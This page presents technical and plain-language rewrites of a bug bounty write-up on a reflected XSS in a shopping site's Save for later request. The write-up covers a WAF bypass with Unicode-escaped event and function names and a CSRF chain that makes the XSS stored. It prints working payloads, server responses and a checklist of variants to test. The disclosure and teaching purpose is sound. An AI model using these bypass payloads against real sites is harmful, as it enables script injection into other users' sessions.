Skip to content
XSS Write-up Intermediate

Unicode vs WAF — XSS WAF Bypass .

The 'channel' parameter was reflected without proper escaping inside an HTML attribute, allowing an attacker to break out and inject HTML. A WAF blocked common event handlers, but by using Unicode escapes the attacker bypassed it and achieved XSS, which could be chained with CSRF to store the payload for authenticated users.

Prial Islam Khan Follow

Published on medium.com

{{media:0}}

Prial Islam Khan, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target was a shopping application with a Save for later feature, which stores items in a user's account so they can be bought later. The feature is driven by a POST request. When the user is properly authenticated, the request saves the item to the account; when the user is not properly authenticated, the request is simply reflected back with some values.

One of the parameters in that request is channel. Its value is written into the response body inside an <a> tag without proper escaping, in both the authenticated and unauthenticated scenarios. That reflection is the entry point for everything below.

Setup

No special accounts or tooling are described beyond manual fuzzing of the request parameters. The researcher used the fuzzdb wordlist html-event-attributes.txt for brute forcing event handler names, and later built a variant of that list with Unicode escapes added. The precondition for the reflected case is simply that the request can be sent; the stored case requires the victim to be authenticated and to be induced into sending the POST request.

Finding it

While fuzzing the parameters manually, the researcher noticed that the channel value is reflected in the response body without proper escaping, in both the authenticated and unauthenticated cases. A first probe with the value "channel":"xss\"><" returned:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss"><" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The input lands inside the data-channel attribute of the <a> tag, and because quotes and the less-than/greater-than signs are not filtered properly, it is possible to break out of the attribute. At this point the researcher expected plenty of ways to get XSS.

Image for post
Our target applications Save for later option request From the original on medium.com

The screenshot shows the Save for later request in the target application.

Exploitation

Step 1: an event handler is blocked by a WAF

The next probe added an event handler: "channel":"xss\"onclick=\"alert(1)". The response showed that a WAF sits in front of the application.

Image for post
WAF ! WAF ! WAF !!! 🤕 From the original on medium.com

The screenshot shows the WAF response to the onclick payload.

Step 2: probing what the WAF allows

Fuzzing produced the following comparison:

Text
"channel":"xss\"onclick=\"alert(1)" ==> WAF"channel":"xss\"xss=\"alert(1)" ==> WAF"channel":"xss\"onclick=\"alert(1)" ==> WAF"channel":"xss\"xss=\"xxx(1)" ==> No WAF

In this comparison, the made-up attribute with a made-up function was the only one that passed.

Step 3: trying to create a tag instead

Since event attributes on the <a> tag were blocked, the researcher tried to close the tag and create a new one with "channel":"xss\"><xss>test". The response was:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss">test" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The <xss> tag was removed, so input that looks like a tag was stripped. Creating a tag gave no advantage, which left event attributes on the <a> tag as the only route, and that meant bypassing the WAF.

Step 4: brute forcing event names

A brute force with fuzzdb's html-event-attributes.txt was run to see whether any event was not blocked by the WAF. It produced nothing interesting.

Step 5: Unicode decoding

A random Unicode value was sent to see whether it is decoded in the response, and it was: the application decodes Unicode escapes back to their original characters. Playing with Unicode plus events gave:

Text
"channel":"xss\"\u003E\u003Cxss\u003Etest" ==> data-channel="xss"><xss>test""channel":"xss\"xss=\"co\u006efirm(domain)" ==> No WAF"channel":"xss\"onc\u006Cick=\"co\u006efirm(domain)" ==> HTTP/1.1 403 Forbidden

This brought one advantage and one new problem. The advantage is that HTML tags can now be created using Unicode escapes. The disadvantage is that even with Unicode, adding the event onc\u006Cick still returns HTTP/1.1 403 Forbidden.

Step 6: a Unicode wordlist finds surviving events

A wordlist was built from html-event-attributes.txt plus Unicode, and it found onmous\u0045leave and ond\u0072ag returning HTTP/1.1 200 OK, while HTML tags could also be created. The final payload was:

Text
xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

The response body was:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss"><h1  onmouseleave=confirm(domain)>come to me</h1><br><!--" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The Unicode escapes are decoded by the application into >, <, E, r and e, so the injected markup becomes a real <h1> element with an onmouseleave handler, followed by a <br> and an HTML comment. Moving the mouse pointer onto come to me and leaving it fires the handler.

Image for post
POST based XSS For unauthenticated users From the original on medium.com

The screenshot shows the POST based XSS firing for unauthenticated users.

Step 7: chaining CSRF to make it stored

Because this is a POST request and there is no CSRF protection in place, the researcher chained CSRF with the XSS to obtain a P2 Stored XSS for authenticated users: the researcher chained CSRF with the XSS to obtain a P2 Stored XSS for authenticated users.

Image for post
CSRF + XSS = P2 Stored XSS for authenticated users 😎 From the original on medium.com

The screenshot shows the CSRF plus XSS chain resulting in stored XSS for authenticated users.

Root cause

The channel parameter is reflected into the data-channel attribute of an <a> tag without proper escaping, so quotes and angle brackets break out of the attribute. The application then decodes Unicode escapes in the value, which restores characters the WAF did not recognise in their escaped form. The WAF blocks obvious event and function names such as onclick and alert, and it strips input that looks like a tag, but escaped forms such as onmous\u0045leave and co\u006efirm passed and were decoded afterwards. The absence of CSRF protection on the POST request is what turns the reflected issue into a stored one for authenticated users.

Impact

For unauthenticated users the issue is a reflected POST based XSS: the payload executes in the response to the crafted request. For authenticated users, the missing CSRF protection allows an attacker to make a victim's browser send the POST request, so the payload is saved in the victim's account, which the researcher rates as P2 Stored XSS. Execution of the final payload depends on the victim moving the mouse pointer onto the injected element and then leaving it, since the surviving handler is onmouseleave.

Fix

Context-aware output encoding of the channel value, so that quotes and angle brackets cannot terminate the attribute, would remove the injection point. The WAF should also normalise or decode Unicode escapes before applying its rules, so that escaped event and function names are matched. Adding CSRF protection to the POST request would stop the reflected issue from being turned into a stored one against authenticated users. The report does not state which of these, if any, was applied.

Variants to test

  1. Send a quote and angle brackets in any parameter that is reflected into an HTML attribute, and check whether the response breaks out of the attribute. A positive result is your value appearing outside the attribute in the response body.
  2. Send a known blocked event handler such as onclick and a known blocked function such as alert, then send the same names with Unicode escapes (onc\u006Cick, co\u006efirm). A positive result is a 200 response where the escaped form is decoded back to the original name in the body.
  3. Run an event attribute wordlist, then the same list with Unicode escapes applied to the event names, and compare status codes. A positive result is an event that returns 200 in escaped form while its plain form is blocked.
  4. Try closing the current tag and opening a new one with escaped angle brackets (\u003E\u003C). A positive result is a new element appearing in the response where plain angle brackets were stripped.
  5. For any state-changing POST request with no anti-CSRF token, submit the XSS payload cross-site and check whether it is stored and later rendered. A positive result is the payload executing when the saved item is viewed in the victim's session.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A shopping website had a feature called Save for later. When you are logged in and click it, the site remembers an item so you can buy it another time. Behind the scenes, your browser sends a small message to the website's server asking it to save that item. That message is called a request, and the server receives it and does the work. A simple comparison: a request is like posting an order card to a shop, and the API is the clerk at the counter who reads the card and files it.

The researcher found that one field on that order card, called channel, was copied straight back into the page the website sent in reply, without being made safe first. When a website takes something you typed and puts it back into the page, that is called reflection. If the website does not clean that text properly, an attacker can type instructions that the browser will treat as part of the page rather than as harmless text. That class of bug is called Cross-Site Scripting, or XSS: you trick a browser into running code that the website's author never intended.

There was also a WAF (Web Application Firewall) in front of the site. Think of a WAF as a security guard at the door who reads every order card and refuses the ones that look suspicious. The researcher found a way to write the same instructions in a disguised form, using Unicode escapes, so the guard did not recognise them, but the website itself decoded them back into the real characters afterwards. That is the bypass.

Finally, because the request that saves an item had no CSRF protection (Cross-Site Request Forgery protection, a check that stops another website from making your browser send requests on your behalf), the researcher could make a logged-in victim's browser send the malicious request. The item then got saved in the victim's account with the bad instructions inside it, which turns a one-off reflected bug into a stored one.

The target and the feature

The application was a shopping site. The Save for later option stores items in your account so you can buy them later. The request that does this is a POST request. A POST request is one where the browser sends data to the server to change something, as opposed to a GET request, which just asks to see a page. If you are properly logged in, the request saves the item to your account. If you are not properly logged in, the request is simply reflected back with some values, meaning the server echoes parts of your input into the reply page.

One of the fields in that request is called channel. Its value is written into the response page inside an <a> tag, which is the HTML element used for a link, without proper escaping. Escaping means converting characters that have special meaning in HTML (like " and < and >) into safe versions so the browser treats them as text, not as code. Because that escaping was missing, the channel value became the entry point for everything that follows.

Image for post
Our target applications Save for later option request From the original on medium.com

The screenshot shows the Save for later request as it appears in the target application.

Finding the reflection

The researcher was manually fuzzing the request parameters. Fuzzing means sending lots of slightly different values to see how the application reacts, a bit like trying many keys on a lock to see which one turns. During this, the researcher noticed that the channel value came back in the response body without proper escaping, both when logged in and when not logged in.

The first probe used this value:

Text
"channel":"xss\"><"

The value sent was "channel":"xss\"><". The reply was:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss"><" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The input landed inside the data-channel attribute of the <a> tag.

The important part is that our input sits inside the data-channel attribute, and because quotes and the less-than and greater-than signs were not filtered properly, we can break out of that attribute. At this point the researcher expected plenty of ways to get XSS.

Step 1: an event handler is blocked by a WAF

The next probe added an event handler. An event handler is a piece of code attached to an HTML element that runs when something happens, such as a click. In HTML it looks like onclick="...". The probe was:

Text
"channel":"xss\"onclick=\"alert(1)"

The probe added an onclick handler calling alert(1). The response showed that a WAF sits in front of the application and blocked it.

Image for post
WAF ! WAF ! WAF !!! 🤕 From the original on medium.com

The screenshot shows the WAF response to the onclick payload.

Step 2: probing what the WAF allows

To learn the WAF's rules, the researcher compared several variations:

Text
"channel":"xss\"onclick=\"alert(1)" ==> WAF"channel":"xss\"xss=\"alert(1)" ==> WAF"channel":"xss\"onclick=\"alert(1)" ==> WAF"channel":"xss\"xss=\"xxx(1)" ==> No WAF

The fourth line, with a made-up attribute and a made-up function, was the only one that passed.

Step 3: trying to create a tag instead

Since event attributes on the <a> tag were blocked, the researcher tried to close the tag and create a new one:

Text
"channel":"xss\"><xss>test"

The payload tried to close the tag and create a new one. The response was:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss">test" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The <xss> tag was removed, so input that looks like a tag was stripped. So creating a tag gave no advantage, which left event attributes on the <a> tag as the only route, and that meant bypassing the WAF.

Step 4: brute forcing event names

The researcher ran a brute force with fuzzdb's html-event-attributes.txt. A brute force means trying a long list of candidates automatically instead of guessing one at a time. That wordlist is simply a file full of known HTML event handler names. The goal was to see whether any event was not blocked by the WAF. It produced nothing interesting.

Step 5: Unicode decoding

Next the researcher sent a random Unicode value to see whether it is decoded in the response. Unicode is a standard way of giving every character in every writing system a number. In web contexts, a character can be written as \u followed by four hexadecimal digits, so \u0045 means the letter E and \u006C means the letter l. The test showed that the application decodes these escapes back to their original characters. Playing with Unicode plus events gave:

Text
"channel":"xss\"\u003E\u003Cxss\u003Etest" ==> data-channel="xss"><xss>test""channel":"xss\"xss=\"co\u006efirm(domain)" ==> No WAF"channel":"xss\"onc\u006Cick=\"co\u006efirm(domain)" ==> HTTP/1.1 403 Forbidden

The first line returned data-channel="xss"><xss>test", the second returned no WAF, and the third returned HTTP/1.1 403 Forbidden.

This brought one advantage and one new problem. The advantage is that HTML tags can now be created using Unicode escapes. The disadvantage is that even with Unicode, adding the event onc\u006Cick still returns HTTP/1.1 403 Forbidden.

Step 6: a Unicode wordlist finds surviving events

The researcher built a wordlist from html-event-attributes.txt plus Unicode, meaning every event name in the list was rewritten with Unicode escapes in it. This found onmous\u0045leave (which decodes to onmouseleave, an event that fires when the mouse pointer leaves an element) and ond\u0072ag (which decodes to ondrag, an event that fires when something is dragged), both returning HTTP/1.1 200 OK, meaning the request succeeded. HTML tags could also be created. The final payload was:

Text
xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

The payload used Unicode escapes for the angle brackets, the onmouseleave event and confirm.

The response body was:

HTML
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"                     data-productid="<ID>" data-channel="xss"><h1  onmouseleave=confirm(domain)>come to me</h1><br><!--" data-quantity="1"                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

The Unicode escapes were decoded by the application into >, <, E, r and e, so the injected markup became a real <h1> element with an onmouseleave handler. Moving the mouse pointer onto come to me and leaving it fires the handler.

Image for post
POST based XSS For unauthenticated users From the original on medium.com

The screenshot shows the POST based XSS firing for unauthenticated users.

Step 7: chaining CSRF to make it stored

Because this is a POST request and there is no CSRF protection in place, the researcher chained CSRF with the XSS to obtain a P2 Stored XSS for authenticated users. CSRF (Cross-Site Request Forgery) is when another website makes your browser send a request to a site you are logged into, without you meaning to. The researcher chained CSRF with the XSS to obtain a P2 Stored XSS for authenticated users. Stored XSS means the malicious content is saved on the server and served to whoever views it later, rather than only appearing in the reply to one crafted request. The researcher rated this as P2.

Image for post
CSRF + XSS = P2 Stored XSS for authenticated users 😎 From the original on medium.com

The screenshot shows the CSRF plus XSS chain resulting in stored XSS for authenticated users.

Why it worked

The channel parameter is reflected into the data-channel attribute of an <a> tag without proper escaping, so quotes and angle brackets break out of the attribute. The application then decodes Unicode escapes in the value, which restores characters the WAF did not recognise in their escaped form. The WAF blocks obvious event and function names such as onclick and alert, and it strips input that looks like a tag, but escaped forms such as onmous\u0045leave and co\u006efirm passed and were decoded afterwards. The absence of CSRF protection on the POST request is what turns the reflected issue into a stored one for authenticated users.

What it means for users

For unauthenticated users the issue is a reflected POST based XSS: the payload executes in the response to the crafted request. For authenticated users, the missing CSRF protection allows an attacker to make a victim's browser send the POST request, so the payload is saved in the victim's account, which the researcher rates as P2 Stored XSS. Execution of the final payload depends on the victim moving the mouse pointer onto the injected element and then leaving it, since the surviving handler is onmouseleave.

How to fix it

Context-aware output encoding of the channel value, so that quotes and angle brackets cannot terminate the attribute, would remove the injection point. Output encoding means converting special characters into safe representations at the moment they are written into the page. The WAF should also normalise or decode Unicode escapes before applying its rules, so that escaped event and function names are matched. Adding CSRF protection to the POST request would stop the reflected issue from being turned into a stored one against authenticated users. The report does not state which of these, if any, was applied.

Things to try on your own

  1. Send a quote and angle brackets in any parameter that is reflected into an HTML attribute, and check whether the response breaks out of the attribute. A positive result is your value appearing outside the attribute in the response body.
  2. Send a known blocked event handler such as onclick and a known blocked function such as alert, then send the same names with Unicode escapes (onc\u006Cick, co\u006efirm). A positive result is a 200 response where the escaped form is decoded back to the original name in the body.
  3. Run an event attribute wordlist, then the same list with Unicode escapes applied to the event names, and compare status codes. A positive result is an event that returns 200 in escaped form while its plain form is blocked.
  4. Try closing the current tag and opening a new one with escaped angle brackets (\u003E\u003C). A positive result is a new element appearing in the response where plain angle brackets were stripped.
  5. For any state-changing POST request with no anti-CSRF token, submit the XSS payload cross-site and check whether it is stored and later rendered. A positive result is the payload executing when the saved item is viewed in the victim's session.

Glossary

  • API: the part of a website or service that receives requests and does the work, like a clerk at a counter.
  • Attribute: a setting written inside an HTML tag, such as data-channel="xss".
  • Brute force: trying a long list of candidates automatically instead of guessing one at a time.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request to a site without the user meaning to.
  • Event handler: code attached to an HTML element that runs when something happens, such as a click or a mouse leaving.
  • Escaping: converting characters that have special meaning in HTML into safe versions so the browser treats them as text.
  • Fuzzing: sending many slightly different values to see how an application reacts.
  • HTML: the language that describes the structure of a web page, using tags such as <a> and <h1>.
  • HTTP/1.1 200 OK: the status code meaning the server accepted the request and returned a normal response.
  • HTTP/1.1 403 Forbidden: the status code meaning the server refused the request.
  • Output encoding: converting special characters into safe representations at the moment they are written into a page.
  • POST request: a request that sends data to the server to change something, as opposed to just asking to see a page.
  • Reflection: when a website takes something you sent and puts it back into the page it returns.
  • Request: the message a browser sends to a server asking it to do something.
  • Stored XSS: XSS where the malicious content is saved on the server and served to whoever views it later.
  • Unicode: a standard that gives every character a number, often written in web contexts as \u plus four hexadecimal digits.
  • WAF (Web Application Firewall): a filter in front of a website that inspects requests and blocks ones that look suspicious.
  • XSS (Cross-Site Scripting): a bug where an attacker gets a browser to run code the website's author never intended.
  • Wordlist: a file full of candidate values used in a brute force.

More by Prial Islam Khan

View all

8 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.